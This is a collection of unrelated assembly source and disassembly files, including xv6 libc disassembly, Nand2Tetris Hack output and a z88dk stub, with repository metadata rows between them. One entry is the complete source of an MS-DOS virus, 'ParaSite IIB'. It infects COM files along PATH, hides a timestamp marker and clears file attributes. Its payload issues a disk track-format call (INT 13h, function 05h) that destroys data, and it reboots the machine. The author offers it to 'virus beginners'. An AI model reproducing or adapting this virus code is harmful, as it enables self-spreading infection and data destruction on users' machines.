4a6: 8b 45 08 mov 0x8(%ebp),%eax
4a9: e8 a0 fe ff ff call 34e <printint>
ap++;
4ae: 83 c7 04 add $0x4,%edi
4b1: 89 7d e4 mov %edi,-0x1c(%ebp)
4b4: 83 c4 10 add $0x10,%esp
state = 0;
4b7: be 00 00 00 00 mov $0x0,%esi
4bc: e9 39 ff ff ff jmp 3fa <printf+0x2c>
s = (char*)*ap;
4c1: 8b 45 e4 mov -0x1c(%ebp),%eax
4c4: 8b 30 mov (%eax),%esi
ap++;
4c6: 83 c0 04 add $0x4,%eax
4c9: 89 45 e4 mov %eax,-0x1c(%ebp)
if(s == 0)
4cc: 85 f6 test %esi,%esi
4ce: 75 28 jne 4f8 <printf+0x12a>
s = "(null)";
4d0: be c1 06 00 00 mov $0x6c1,%esi
4d5: 8b 7d 08 mov 0x8(%ebp),%edi
4d8: eb 0d jmp 4e7 <printf+0x119>
putc(fd, *s);
4da: 0f be d2 movsbl %dl,%edx
4dd: 89 f8 mov %edi,%eax
4df: e8 50 fe ff ff call 334 <putc>
s++;
4e4: 83 c6 01 add $0x1,%esi
while(*s != 0){
4e7: 0f b6 16 movzbl (%esi),%edx
4ea: 84 d2 test %dl,%dl
4ec: 75 ec jne 4da <printf+0x10c>
state = 0;
4ee: be 00 00 00 00 mov $0x0,%esi
4f3: e9 02 ff ff ff jmp 3fa <printf+0x2c>
4f8: 8b 7d 08 mov 0x8(%ebp),%edi
4fb: eb ea jmp 4e7 <printf+0x119>
putc(fd, *ap);
4fd: 8b 7d e4 mov -0x1c(%ebp),%edi
500: 0f be 17 movsbl (%edi),%edx
503: 8b 45 08 mov 0x8(%ebp),%eax
506: e8 29 fe ff ff call 334 <putc>
ap++;
50b: 83 c7 04 add $0x4,%edi
50e: 89 7d e4 mov %edi,-0x1c(%ebp)
state = 0;
511: be 00 00 00 00 mov $0x0,%esi
516: e9 df fe ff ff jmp 3fa <printf+0x2c>
putc(fd, c);
51b: 89 fa mov %edi,%edx
51d: 8b 45 08 mov 0x8(%ebp),%eax
520: e8 0f fe ff ff call 334 <putc>
state = 0;
525: be 00 00 00 00 mov $0x0,%esi
52a: e9 cb fe ff ff jmp 3fa <printf+0x2c>
}
}
}
52f: 8d 65 f4 lea -0xc(%ebp),%esp
532: 5b pop %ebx
533: 5e pop %esi
534: 5f pop %edi
535: 5d pop %ebp
536: c3 ret
00000537 <free>:
static Header base;
static Header *freep;
void
free(void *ap)
{
537: 55 push %ebp
538: 89 e5 mov %esp,%ebp
53a: 57 push %edi
53b: 56 push %esi
53c: 53 push %ebx
53d: 8b 5d 08 mov 0x8(%ebp),%ebx
Header *bp, *p;
bp = (Header*)ap - 1;
540: 8d 4b f8 lea -0x8(%ebx),%ecx
for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr)
543: a1 b0 09 00 00 mov 0x9b0,%eax
548: eb 02 jmp 54c <free+0x15>
54a: 89 d0 mov %edx,%eax
54c: 39 c8 cmp %ecx,%eax
54e: 73 04 jae 554 <free+0x1d>
550: 39 08 cmp %ecx,(%eax)
552: 77 12 ja 566 <free+0x2f>
if(p >= p->s.ptr && (bp > p || bp < p->s.ptr))
554: 8b 10 mov (%eax),%edx
556: 39 c2 cmp %eax,%edx
558: 77 f0 ja 54a <free+0x13>
55a: 39 c8 cmp %ecx,%eax
55c: 72 08 jb 566 <free+0x2f>
55e: 39 ca cmp %ecx,%edx
560: 77 04 ja 566 <free+0x2f>
562: 89 d0 mov %edx,%eax
564: eb e6 jmp 54c <free+0x15>
break;
if(bp + bp->s.size == p->s.ptr){
566: 8b 73 fc mov -0x4(%ebx),%esi
569: 8d 3c f1 lea (%ecx,%esi,8),%edi
56c: 8b 10 mov (%eax),%edx
56e: 39 d7 cmp %edx,%edi
570: 74 19 je 58b <free+0x54>
bp->s.size += p->s.ptr->s.size;
bp->s.ptr = p->s.ptr->s.ptr;
} else
bp->s.ptr = p->s.ptr;
572: 89 53 f8 mov %edx,-0x8(%ebx)
if(p + p->s.size == bp){
575: 8b 50 04 mov 0x4(%eax),%edx
578: 8d 34 d0 lea (%eax,%edx,8),%esi
57b: 39 ce cmp %ecx,%esi
57d: 74 1b je 59a <free+0x63>
p->s.size += bp->s.size;
p->s.ptr = bp->s.ptr;
} else
p->s.ptr = bp;
57f: 89 08 mov %ecx,(%eax)
freep = p;
581: a3 b0 09 00 00 mov %eax,0x9b0
}
586: 5b pop %ebx
587: 5e pop %esi
588: 5f pop %edi
589: 5d pop %ebp
58a: c3 ret
bp->s.size += p->s.ptr->s.size;
58b: 03 72 04 add 0x4(%edx),%esi
58e: 89 73 fc mov %esi,-0x4(%ebx)
bp->s.ptr = p->s.ptr->s.ptr;
591: 8b 10 mov (%eax),%edx
593: 8b 12 mov (%edx),%edx
595: 89 53 f8 mov %edx,-0x8(%ebx)
598: eb db jmp 575 <free+0x3e>
p->s.size += bp->s.size;
59a: 03 53 fc add -0x4(%ebx),%edx
59d: 89 50 04 mov %edx,0x4(%eax)
p->s.ptr = bp->s.ptr;
5a0: 8b 53 f8 mov -0x8(%ebx),%edx
5a3: 89 10 mov %edx,(%eax)
5a5: eb da jmp 581 <free+0x4a>
000005a7 <morecore>:
static Header*
morecore(uint nu)
{
5a7: 55 push %ebp
5a8: 89 e5 mov %esp,%ebp
5aa: 53 push %ebx
5ab: 83 ec 04 sub $0x4,%esp
5ae: 89 c3 mov %eax,%ebx
char *p;
Header *hp;
if(nu < 4096)
5b0: 3d ff 0f 00 00 cmp $0xfff,%eax
5b5: 77 05 ja 5bc <morecore+0x15>
nu = 4096;
5b7: bb 00 10 00 00 mov $0x1000,%ebx
p = sbrk(nu * sizeof(Header));
5bc: 8d 04 dd 00 00 00 00 lea 0x0(,%ebx,8),%eax
5c3: 83 ec 0c sub $0xc,%esp
5c6: 50 push %eax
5c7: e8 20 fd ff ff call 2ec <sbrk>
if(p == (char*)-1)
5cc: 83 c4 10 add $0x10,%esp
5cf: 83 f8 ff cmp $0xffffffff,%eax
5d2: 74 1c je 5f0 <morecore+0x49>
return 0;
hp = (Header*)p;
hp->s.size = nu;
5d4: 89 58 04 mov %ebx,0x4(%eax)
free((void*)(hp + 1));
5d7: 83 c0 08 add $0x8,%eax
5da: 83 ec 0c sub $0xc,%esp
5dd: 50 push %eax
5de: e8 54 ff ff ff call 537 <free>
return freep;
5e3: a1 b0 09 00 00 mov 0x9b0,%eax
5e8: 83 c4 10 add $0x10,%esp
}
5eb: 8b 5d fc mov -0x4(%ebp),%ebx
5ee: c9 leave
5ef: c3 ret
return 0;
5f0: b8 00 00 00 00 mov $0x0,%eax
5f5: eb f4 jmp 5eb <morecore+0x44>
000005f7 <malloc>:
void*
malloc(uint nbytes)
{
5f7: 55 push %ebp
5f8: 89 e5 mov %esp,%ebp
5fa: 53 push %ebx
5fb: 83 ec 04 sub $0x4,%esp
Header *p, *prevp;
uint nunits;
nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1;
5fe: 8b 45 08 mov 0x8(%ebp),%eax
601: 8d 58 07 lea 0x7(%eax),%ebx
604: c1 eb 03 shr $0x3,%ebx
607: 83 c3 01 add $0x1,%ebx
if((prevp = freep) == 0){
60a: 8b 0d b0 09 00 00 mov 0x9b0,%ecx
610: 85 c9 test %ecx,%ecx
612: 74 04 je 618 <malloc+0x21>
base.s.ptr = freep = prevp = &base;
base.s.size = 0;
}
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
614: 8b 01 mov (%ecx),%eax
616: eb 4d jmp 665 <malloc+0x6e>
base.s.ptr = freep = prevp = &base;
618: c7 05 b0 09 00 00 b4 movl $0x9b4,0x9b0
61f: 09 00 00
622: c7 05 b4 09 00 00 b4 movl $0x9b4,0x9b4
629: 09 00 00
base.s.size = 0;
62c: c7 05 b8 09 00 00 00 movl $0x0,0x9b8
633: 00 00 00
base.s.ptr = freep = prevp = &base;
636: b9 b4 09 00 00 mov $0x9b4,%ecx
63b: eb d7 jmp 614 <malloc+0x1d>
if(p->s.size >= nunits){
if(p->s.size == nunits)
63d: 39 da cmp %ebx,%edx
63f: 74 1a je 65b <malloc+0x64>
prevp->s.ptr = p->s.ptr;
else {
p->s.size -= nunits;
641: 29 da sub %ebx,%edx
643: 89 50 04 mov %edx,0x4(%eax)
p += p->s.size;
646: 8d 04 d0 lea (%eax,%edx,8),%eax
p->s.size = nunits;
649: 89 58 04 mov %ebx,0x4(%eax)
}
freep = prevp;
64c: 89 0d b0 09 00 00 mov %ecx,0x9b0
return (void*)(p + 1);
652: 83 c0 08 add $0x8,%eax
}
if(p == freep)
if((p = morecore(nunits)) == 0)
return 0;
}
}
655: 83 c4 04 add $0x4,%esp
658: 5b pop %ebx
659: 5d pop %ebp
65a: c3 ret
prevp->s.ptr = p->s.ptr;
65b: 8b 10 mov (%eax),%edx
65d: 89 11 mov %edx,(%ecx)
65f: eb eb jmp 64c <malloc+0x55>
for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){
661: 89 c1 mov %eax,%ecx
663: 8b 00 mov (%eax),%eax
if(p->s.size >= nunits){
665: 8b 50 04 mov 0x4(%eax),%edx
668: 39 da cmp %ebx,%edx
66a: 73 d1 jae 63d <malloc+0x46>
if(p == freep)
66c: 39 05 b0 09 00 00 cmp %eax,0x9b0
672: 75 ed jne 661 <malloc+0x6a>
if((p = morecore(nunits)) == 0)
674: 89 d8 mov %ebx,%eax
676: e8 2c ff ff ff call 5a7 <morecore>
67b: 85 c0 test %eax,%eax
67d: 75 e2 jne 661 <malloc+0x6a>
return 0;
67f: b8 00 00 00 00 mov $0x0,%eax
684: eb cf jmp 655 <malloc+0x5e>
| 32.844144 | 81 | 0.420989 |
de0a96306995efd6a7f3a41d344696a8a2777074 | 339 | asm | Assembly | libsrc/_DEVELOPMENT/font/fzx/c/sdcc_iy/fzx_write_callee.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 640 | 2017-01-14T23:33:45.000Z | 2022-03-30T11:28:42.000Z | libsrc/_DEVELOPMENT/font/fzx/c/sdcc_iy/fzx_write_callee.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 1,600 | 2017-01-15T16:12:02.000Z | 2022-03-31T12:11:12.000Z | libsrc/_DEVELOPMENT/font/fzx/c/sdcc_iy/fzx_write_callee.asm | jpoikela/z88dk | 7108b2d7e3a98a77de99b30c9a7c9199da9c75cb | [
"ClArtistic"
] | 215 | 2017-01-17T10:43:03.000Z | 2022-03-23T17:25:02.000Z |
; int fzx_write_calle(struct fzx_state *fs, char *buf, uint16_t buflen)
SECTION code_font
SECTION code_font_fzx
PUBLIC _fzx_write_callee, l0_fzx_write_callee
EXTERN l_neg_hl, asm_fzx_write
_fzx_write_callee:
pop af
pop ix
pop de
pop bc
push af
l0_fzx_write_callee:
call asm_fzx_write
ret nc
jp l_neg_hl
| 13.56 | 71 | 0.752212 |
bb33c577414ffc0616507f1b0994c4509421cd70 | 135 | asm | Assembly | solutions/03 - Transport Squad/size-5_speed-2.asm | michaelgundlach/7billionhumans | 02c6f3963364362c95cb516cbc6ef1efc073bb2e | [
"MIT"
] | 45 | 2018-09-05T04:56:59.000Z | 2021-11-22T08:57:26.000Z | solutions/03 - Transport Squad/size-5_speed-2.asm | michaelgundlach/7billionhumans | 02c6f3963364362c95cb516cbc6ef1efc073bb2e | [
"MIT"
] | 36 | 2018-09-01T11:34:26.000Z | 2021-05-19T23:20:49.000Z | solutions/03 - Transport Squad/size-5_speed-2.asm | michaelgundlach/7billionhumans | 02c6f3963364362c95cb516cbc6ef1efc073bb2e | [
"MIT"
] | 36 | 2018-09-01T07:44:19.000Z | 2021-09-10T19:07:35.000Z | -- 7 Billion Humans (2053) --
-- 3: Transport Squad --
-- Author: soerface
-- Size: 5
-- Speed: 2
step s
pickup c
step s
step s
drop
| 10.384615 | 29 | 0.622222 |
147b8e859735d940f29f70d576dd9752f17bf61f | 4,304 | asm | Assembly | projects/08/FunctionCalls/NestedCall/NestedCall.asm | lhtin/Nand2TetrisLabs | 2a9c8f0f6ff9b6a148f87904e188ac85a016baa4 | [
"MulanPSL-1.0"
] | 2 | 2021-02-06T17:26:17.000Z | 2021-03-27T03:23:55.000Z | projects/08/FunctionCalls/NestedCall/NestedCall.asm | lhtin/Nand2TetrisLabs | 2a9c8f0f6ff9b6a148f87904e188ac85a016baa4 | [
"MulanPSL-1.0"
] | null | null | null | projects/08/FunctionCalls/NestedCall/NestedCall.asm | lhtin/Nand2TetrisLabs | 2a9c8f0f6ff9b6a148f87904e188ac85a016baa4 | [
"MulanPSL-1.0"
] | null | null | null | @256
D=A
@SP
M=D
// call Sys.init 0
@undefined$ret.0
D=A
@SP
M=M+1
A=M-1
M=D
@LCL
D=M
@SP
M=M+1
A=M-1
M=D
@ARG
D=M
@SP
M=M+1
A=M-1
M=D
@THIS
D=M
@SP
M=M+1
A=M-1
M=D
@THAT
D=M
@SP
M=M+1
A=M-1
M=D
@5
D=A
@SP
D=M-D
@ARG
M=D
@SP
D=M
@LCL
M=D
@Sys.init
0;JMP
(undefined$ret.0)
// function Sys.init 0
(Sys.init)
// push constant 4000
@4000
D=A
@SP
M=M+1
A=M-1
M=D
// pop pointer 0
@SP
AM=M-1
D=M
@THIS
M=D
// push constant 5000
@5000
D=A
@SP
M=M+1
A=M-1
M=D
// pop pointer 1
@SP
AM=M-1
D=M
@THAT
M=D
// call Sys.main 0
@Sys.init$ret.1
D=A
@SP
M=M+1
A=M-1
M=D
@LCL
D=M
@SP
M=M+1
A=M-1
M=D
@ARG
D=M
@SP
M=M+1
A=M-1
M=D
@THIS
D=M
@SP
M=M+1
A=M-1
M=D
@THAT
D=M
@SP
M=M+1
A=M-1
M=D
@5
D=A
@SP
D=M-D
@ARG
M=D
@SP
D=M
@LCL
M=D
@Sys.main
0;JMP
(Sys.init$ret.1)
// pop temp 1
@SP
AM=M-1
D=M
@6
M=D
// label LOOP
(Sys.init$LOOP)
// goto LOOP
@Sys.init$LOOP
0;JMP
// function Sys.main 5
(Sys.main)
@SP
M=M+1
A=M-1
M=0
@SP
M=M+1
A=M-1
M=0
@SP
M=M+1
A=M-1
M=0
@SP
M=M+1
A=M-1
M=0
@SP
M=M+1
A=M-1
M=0
// push constant 4001
@4001
D=A
@SP
M=M+1
A=M-1
M=D
// pop pointer 0
@SP
AM=M-1
D=M
@THIS
M=D
// push constant 5001
@5001
D=A
@SP
M=M+1
A=M-1
M=D
// pop pointer 1
@SP
AM=M-1
D=M
@THAT
M=D
// push constant 200
@200
D=A
@SP
M=M+1
A=M-1
M=D
// pop local 1
@1
D=A
@LCL
D=M+D
@addr.2
M=D
@SP
AM=M-1
D=M
@addr.2
A=M
M=D
// push constant 40
@40
D=A
@SP
M=M+1
A=M-1
M=D
// pop local 2
@2
D=A
@LCL
D=M+D
@addr.3
M=D
@SP
AM=M-1
D=M
@addr.3
A=M
M=D
// push constant 6
@6
D=A
@SP
M=M+1
A=M-1
M=D
// pop local 3
@3
D=A
@LCL
D=M+D
@addr.4
M=D
@SP
AM=M-1
D=M
@addr.4
A=M
M=D
// push constant 123
@123
D=A
@SP
M=M+1
A=M-1
M=D
// call Sys.add12 1
@Sys.main$ret.5
D=A
@SP
M=M+1
A=M-1
M=D
@LCL
D=M
@SP
M=M+1
A=M-1
M=D
@ARG
D=M
@SP
M=M+1
A=M-1
M=D
@THIS
D=M
@SP
M=M+1
A=M-1
M=D
@THAT
D=M
@SP
M=M+1
A=M-1
M=D
@6
D=A
@SP
D=M-D
@ARG
M=D
@SP
D=M
@LCL
M=D
@Sys.add12
0;JMP
(Sys.main$ret.5)
// pop temp 0
@SP
AM=M-1
D=M
@5
M=D
// push local 0
@0
D=A
@LCL
A=M+D
D=M
@SP
M=M+1
A=M-1
M=D
// push local 1
@1
D=A
@LCL
A=M+D
D=M
@SP
M=M+1
A=M-1
M=D
// push local 2
@2
D=A
@LCL
A=M+D
D=M
@SP
M=M+1
A=M-1
M=D
// push local 3
@3
D=A
@LCL
A=M+D
D=M
@SP
M=M+1
A=M-1
M=D
// push local 4
@4
D=A
@LCL
A=M+D
D=M
@SP
M=M+1
A=M-1
M=D
// add
@SP
AM=M-1
D=M
@SP
A=M-1
M=M+D
// add
@SP
AM=M-1
D=M
@SP
A=M-1
M=M+D
// add
@SP
AM=M-1
D=M
@SP
A=M-1
M=M+D
// add
@SP
AM=M-1
D=M
@SP
A=M-1
M=M+D
// return
@LCL
D=M
@frame_6
M=D
@5
D=A
@frame_6
A=M-D
D=M
@ret_7
M=D
@SP
M=M-1
A=M
D=M
@ARG
A=M
M=D
@ARG
D=M+1
@SP
M=D
@1
D=A
@frame_6
A=M-D
D=M
@THAT
M=D
@2
D=A
@frame_6
A=M-D
D=M
@THIS
M=D
@3
D=A
@frame_6
A=M-D
D=M
@ARG
M=D
@4
D=A
@frame_6
A=M-D
D=M
@LCL
M=D
@ret_7
A=M
0;JMP
// function Sys.add12 0
(Sys.add12)
// push constant 4002
@4002
D=A
@SP
M=M+1
A=M-1
M=D
// pop pointer 0
@SP
AM=M-1
D=M
@THIS
M=D
// push constant 5002
@5002
D=A
@SP
M=M+1
A=M-1
M=D
// pop pointer 1
@SP
AM=M-1
D=M
@THAT
M=D
// push argument 0
@0
D=A
@ARG
A=M+D
D=M
@SP
M=M+1
A=M-1
M=D
// push constant 12
@12
D=A
@SP
M=M+1
A=M-1
M=D
// add
@SP
AM=M-1
D=M
@SP
A=M-1
M=M+D
// return
@LCL
D=M
@frame_8
M=D
@5
D=A
@frame_8
A=M-D
D=M
@ret_9
M=D
@SP
M=M-1
A=M
D=M
@ARG
A=M
M=D
@ARG
D=M+1
@SP
M=D
@1
D=A
@frame_8
A=M-D
D=M
@THAT
M=D
@2
D=A
@frame_8
A=M-D
D=M
@THIS
M=D
@3
D=A
@frame_8
A=M-D
D=M
@ARG
M=D
@4
D=A
@frame_8
A=M-D
D=M
@LCL
M=D
@ret_9
A=M
0;JMP | 8.059925 | 25 | 0.431227 |
4104dc2bea42779b692c0bbcb0556ea22973ce90 | 30,859 | asm | Assembly | MSDOS/Virus.MSDOS.Unknown.parsit2b.asm | fengjixuchui/Family | 2abe167082817d70ff2fd6567104ce4bcf0fe304 | [
"MIT"
] | 3 | 2021-05-15T15:57:13.000Z | 2022-03-16T09:11:05.000Z | MSDOS/Virus.MSDOS.Unknown.parsit2b.asm | fengjixuchui/Family | 2abe167082817d70ff2fd6567104ce4bcf0fe304 | [
"MIT"
] | null | null | null | MSDOS/Virus.MSDOS.Unknown.parsit2b.asm | fengjixuchui/Family | 2abe167082817d70ff2fd6567104ce4bcf0fe304 | [
"MIT"
] | 3 | 2021-05-15T15:57:15.000Z | 2022-01-08T20:51:04.000Z | ;********************************************************************
; <PARSIT2B.ASM> - ParaSite Virus IIB
; By: Rock Steady
; Close to one year I created this Virus. As you can see it is quite
; old... Maybe too Old... But here it is... It Sucks... but its great
; for any virus beginner... Anyhow...
; NOTES: Simple COM infector. 10% of the time it reboots the system
; 20% it plays machine gun noices on the PC speaker... and
; 70% of the time is infects another COM file... Have fun...
;********************************************************************
MOV_CX MACRO X
DB 0B9H
DW X
ENDM
CODE SEGMENT
ASSUME DS:CODE,SS:CODE,CS:CODE,ES:CODE
ORG 100H
VCODE: JMP virus
NOP
NOP ; To identify it as an Infected
NOP ; Program!
v_start equ $
virus: PUSH CX
MOV DX,OFFSET vir_dat
CLD
MOV SI,DX
ADD SI,first_3
JMP Rock_1
Rock_2:
MOV DX,dta
ADD DX,SI
MOV AH,1AH
INT 21H
PUSH ES
PUSH SI
MOV ES,DS:2CH
MOV DI,0
JMP Day_Of_Week
Rock_1:
MOV CX,3
MOV DI,OFFSET 100H
REPZ MOVSB
MOV SI,DX
PUSH ES
MOV AH,2FH
INT 21H
MOV [SI+old_dta],BX
MOV [SI+old_dts],ES
POP ES
JMP Rock_2
Day_Of_Week:
MOV AH,2AH ;Get System date!
INT 21H
CMP AL,1 ;Check to See if it's Monday!
JGE day_check ;Jump if later than Mondays
JMP Get_Time
day_check:
CMP AL,1 ;Check to see if it is the 1st
JA Get_Time ;If yes, create a MESS...
JMP Bad_Mondays ;If not, then go on with infecti
mess:
Bad_Mondays:
MOV DL,2 ;The Formatting Tracks..
MOV AH,05
MOV DH,80h
MOV CH,0
INT 13h
Play_music:
MOV CX,20d ;Set number of Shots
new_shot:
PUSH CX ;Save Count
CALL Shoot
MOV CX,4000H
Silent: LOOP silent
POP CX
LOOP new_Shot
JMP mess
SHOOT proc near ;The Machine Gun Noices...
MOV DX,140h
MOV BX,20h
IN AL,61h
AND AL,11111100b
SOUND: XOR AL,2
OUT 61h,al
ADD dx,9248h
MOV CL,3
ROR DX,CL
MOV CX,DX
AND cx,1ffh
OR CX,10
WAITA: LOOP WAITA
DEC BX
JNZ SOUND
AND AL,11111100b
OUT 61h,AL
RET
Shoot Endp
Get_Time:
MOV AH,2Ch ; Get System Time!
INT 21h ;
AND DH,0fh
CMP DH,3
JB Play_music
CMP DH,3h
JA Find_Path
INT 19h
go:
MOV AH, 47H
XOR DL,DL
ADD SI, OFFSET orig_path - OFFSET buffer - 8
INT 21H
JC find_path
MOV AH,3BH
MOV DX,SI
ADD DX, OFFSET root_dir - OFFSET orig_path
INT 21H
infect_root:
MOV [BX+nam_ptr],DI
MOV SI,BX
ADD SI,f_ipec
MOV CX,6
REPZ MOVSB
JMP hello
find_path:
POP SI ; Seek and Destroy...
PUSH SI
ADD SI,env_str
LODSB
MOV CX,OFFSET 8000H
REPNZ SCASB
MOV CX,4
check_next_4:
LODSB
SCASB
;
; The JNZ line specifies that if there is no PATH present, then we will
; along and infect the ROOT directory on the default drive.
JNZ find_path ;If not path, then go to ROOT di
LOOP check_next_4 ;Go back and check for more char
POP SI ;Load in PATH again to look for
POP ES
MOV [SI+path_ad],DI
MOV DI,SI
ADD DI,wrk_spc
MOV BX,SI
ADD SI,wrk_spc ;the File Handle
MOV DI,SI
JMP SHORT slash_ok
set_subdir:
CMP WORD PTR [SI+path_ad],0
JNZ found_subdir
JMP all_done
found_subdir:
PUSH DS
PUSH SI
MOV DS,ES:2CH
MOV DI,SI
MOV SI,ES:[DI+path_ad]
ADD DI,wrk_spc ;DI is the handle to infect!
move_subdir:
LODSB ;To tedious work to move into su
NOP
CMP AL,';' ;Does it end with a ; character?
JZ moved_one ;if yes, then we found a subdir
CMP AL,0 ;is it the end of the path?
JZ moved_last_one ;if yes, then we save the PATH
STOSB ;marker into DI for future refer
JMP SHORT move_subdir
moved_last_one:
MOV SI,0
moved_one:
POP BX ;BX is where the virus data is
POP DS ;Restore DS
NOP
MOV [BX+path_ad],SI ;Where is the next subdir?
CMP CH,'\' ;Check to see if it ends in \
JZ slash_ok ;If yes, then it's OK
MOV AL,'\' ;if not, then add one...
STOSB ;store the sucker
slash_ok:
MOV [BX+nam_ptr],DI ;Move the filename into workspac
MOV SI,BX ;Restore the original SI value
ADD SI,f_spec ;Point to COM file victim
MOV CX,6
REPZ MOVSB ;Move victim into workspace
hello:
MOV SI,BX
MOV AH,4EH
MOV DX,wrk_spc
ADD DX,SI ;DX is ... The File to infect
MOV CX,3 ;Attributes of Read Only or Hidd
INT 21H
JMP SHORT find_first
joe1:
JMP go
find_next:
MOV AH,4FH
INT 21H
find_first:
JNB found_file ;Jump if we found it
JMP SHORT set_subdir ;Otherwise, get another subdirec
found_file:
MOV AX,[SI+dta_tim] ;Get time from DTA
AND AL,1EH ;Mask to remove all but seconds
CMP AL,1EH ;60 seconds
JZ find_next
CMP WORD PTR [SI+dta_len],OFFSET 0FA00H ;Is the file too LON
JA find_next ;If too long, find another one
CMP WORD PTR [SI+dta_len],0AH ;Is it too short?
JB find_next ;Then go find another one
MOV DI,[SI+nam_ptr]
PUSH SI
ADD SI,dta_nam
more_chars:
LODSB
STOSB
CMP AL,0
JNZ more_chars
POP SI
MOV AX,OFFSET 4300H
MOV DX,wrk_spc
ADD DX,SI
INT 21H
MOV [SI+old_att],CX
MOV AX,OFFSET 4301H
AND CX,OFFSET 0FFFEH
MOV DX,wrk_spc
ADD DX,SI
INT 21H
MOV AX,OFFSET 3D02H
MOV DX,wrk_spc
ADD DX,SI
INT 21H
JNB opened_ok
JMP fix_attr
opened_ok:
MOV BX,AX
MOV AX,OFFSET 5700H
INT 21H
MOV [SI+old_tim],CX ;Save file time
MOV [SI+ol_date],DX ;Save the date
MOV AH,2CH
INT 21H
AND DH,7
JMP infect
infect:
MOV AH,3FH
MOV CX,3
MOV DX,first_3
ADD DX,SI
INT 21H ;Save first 3 bytes into the data area
JB fix_time_stamp
CMP AX,3
JNZ fix_time_stamp
MOV AX,OFFSET 4202H
MOV CX,0
MOV DX,0
INT 21H
JB fix_time_stamp
MOV CX,AX
SUB AX,3
MOV [SI+jmp_dsp],AX
ADD CX,OFFSET c_len_y
MOV DI,SI
SUB DI,OFFSET c_len_x
JMP CONT
JOE2:
JMP JOE1
CONT:
MOV [DI],CX
MOV AH,40H
MOV_CX virlen
MOV DX,SI
SUB DX,OFFSET codelen
INT 21H
JB fix_time_stamp
CMP AX,OFFSET virlen
JNZ fix_time_stamp
MOV AX,OFFSET 4200H
MOV CX,0
MOV DX,0
INT 21H
JB fix_time_stamp
MOV AH,40H
MOV CX,3
MOV DX,SI
ADD DX,jmp_op
INT 21H
fix_time_stamp:
MOV DX,[SI+ol_date]
MOV CX,[SI+old_tim]
AND CX,OFFSET 0FFE0H
OR CX,1EH
MOV AX,OFFSET 5701H
INT 21H
MOV AH,3EH
INT 21H
fix_attr:
MOV AX,OFFSET 4301H
MOV CX,[SI+old_att]
MOV DX,wrk_spc
ADD DX,SI
INT 21H
all_done:
PUSH DS
MOV AH,1AH
MOV DX,[SI+old_dta]
MOV DS,[SI+old_dts]
INT 21H
POP DS
quit:
MOV BX,OFFSET count
CMP BX,0
JB joe2
POP CX
XOR AX,AX ;XOR values so that we will give
XOR BX,BX ;poor sucker a hard time trying
XOR DX,DX ;reassemble the source code if h
XOR SI,SI ;decides to dissassemble us.
MOV DI,OFFSET 0100H
PUSH DI
XOR DI,DI
RET 0FFFFH ;Return back to the beginning
;of the program
vir_dat EQU $
Aurther DB "ParaSite IIB - By: Rock Steady"
olddta_ DW 0
olddts_ DW 0
oldtim_ DW 0
count_ DW 0
oldate_ DW 0
oldatt_ DW 0
first3_ EQU $
INT 20H
NOP
jmpop_ DB 0E9H
jmpdsp_ DW 0
fspec_ DB '*.COM',0
fipec_ DB 'COMMAND.COM',0
pathad_ DW 0
namptr_ DW 0
envstr_ DB 'PATH='
wrkspc_ DB 40h dup (0)
dta_ DB 16h dup (0)
dtatim_ DW 0,0
dtalen_ DW 0,0
dtanam_ DB 0Dh dup (0)
buffer DB 0CDh, 20h, 0, 0, 0, 0, 0, 0
orig_path DB 64 dup (?)
root_dir DB '\',0
lst_byt EQU $
virlen = lst_byt - v_start
codelen = vir_dat - v_start
c_len_x = vir_dat - v_start - 2
c_len_y = vir_dat - v_start + 100H
old_dta = olddta_ - vir_dat
old_dts = olddts_ - vir_dat
old_tim = oldtim_ - vir_dat
ol_date = oldate_ - vir_dat
old_att = oldatt_ - vir_dat
first_3 = first3_ - vir_dat
jmp_op = jmpop_ - vir_dat
jmp_dsp = jmpdsp_ - vir_dat
f_spec = fspec_ - vir_dat
f_ipec = fipec_ - vir_dat
path_ad = pathad_ - vir_dat
nam_ptr = namptr_ - vir_dat
env_str = envstr_ - vir_dat
wrk_spc = wrkspc_ - vir_dat
dta = dta_ - vir_dat
dta_tim = dtatim_ - vir_dat
dta_len = dtalen_ - vir_dat
dta_nam = dtanam_ - vir_dat
count = count_ - vir_dat
CODE ENDS
END VCODE
| 73.649165 | 73 | 0.169351 |
69b7368bd50d365a0aa91f9e45d5f08b3c5610c7 | 83,719 | asm | Assembly | platforms/m3/temp/Tstack_ondemand_v1.10_debug2.asm | lab11/M-ulator | 95b49c6194678c74accca4a20af71380efbcac5f | [
"Apache-2.0",
"MIT"
] | 19 | 2015-01-26T10:47:23.000Z | 2021-08-13T11:07:54.000Z | platforms/m3/temp/Tstack_ondemand_v1.10_debug2.asm | lab11/M-ulator | 95b49c6194678c74accca4a20af71380efbcac5f | [
"Apache-2.0",
"MIT"
] | 14 | 2015-08-24T02:35:46.000Z | 2021-05-05T03:53:44.000Z | platforms/m3/temp/Tstack_ondemand_v1.10_debug2.asm | lab11/M-ulator | 95b49c6194678c74accca4a20af71380efbcac5f | [
"Apache-2.0",
"MIT"
] | 9 | 2015-05-27T23:27:35.000Z | 2020-10-05T22:02:43.000Z |
Tstack_ondemand_v1.10_debug2/Tstack_ondemand_v1.10_debug2.elf: file format elf32-littlearm
Disassembly of section .text:
00000000 <hang-0x80>:
0: 00002000 .word 0x00002000
4: 00000091 .word 0x00000091
...
10: 00000080 .word 0x00000080
14: 00000080 .word 0x00000080
18: 00000080 .word 0x00000080
1c: 00000080 .word 0x00000080
20: 00000080 .word 0x00000080
24: 00000080 .word 0x00000080
28: 00000080 .word 0x00000080
2c: 00000000 .word 0x00000000
30: 00000080 .word 0x00000080
34: 00000080 .word 0x00000080
...
40: 000007f1 .word 0x000007f1
44: 000007fd .word 0x000007fd
48: 00000809 .word 0x00000809
4c: 0000082d .word 0x0000082d
50: 00000845 .word 0x00000845
54: 0000085d .word 0x0000085d
58: 00000875 .word 0x00000875
5c: 0000088d .word 0x0000088d
60: 000008a5 .word 0x000008a5
64: 000008bd .word 0x000008bd
68: 000008d5 .word 0x000008d5
6c: 000008e5 .word 0x000008e5
70: 000008f5 .word 0x000008f5
74: 00000905 .word 0x00000905
...
00000080 <hang>:
80: e7fe b.n 80 <hang>
...
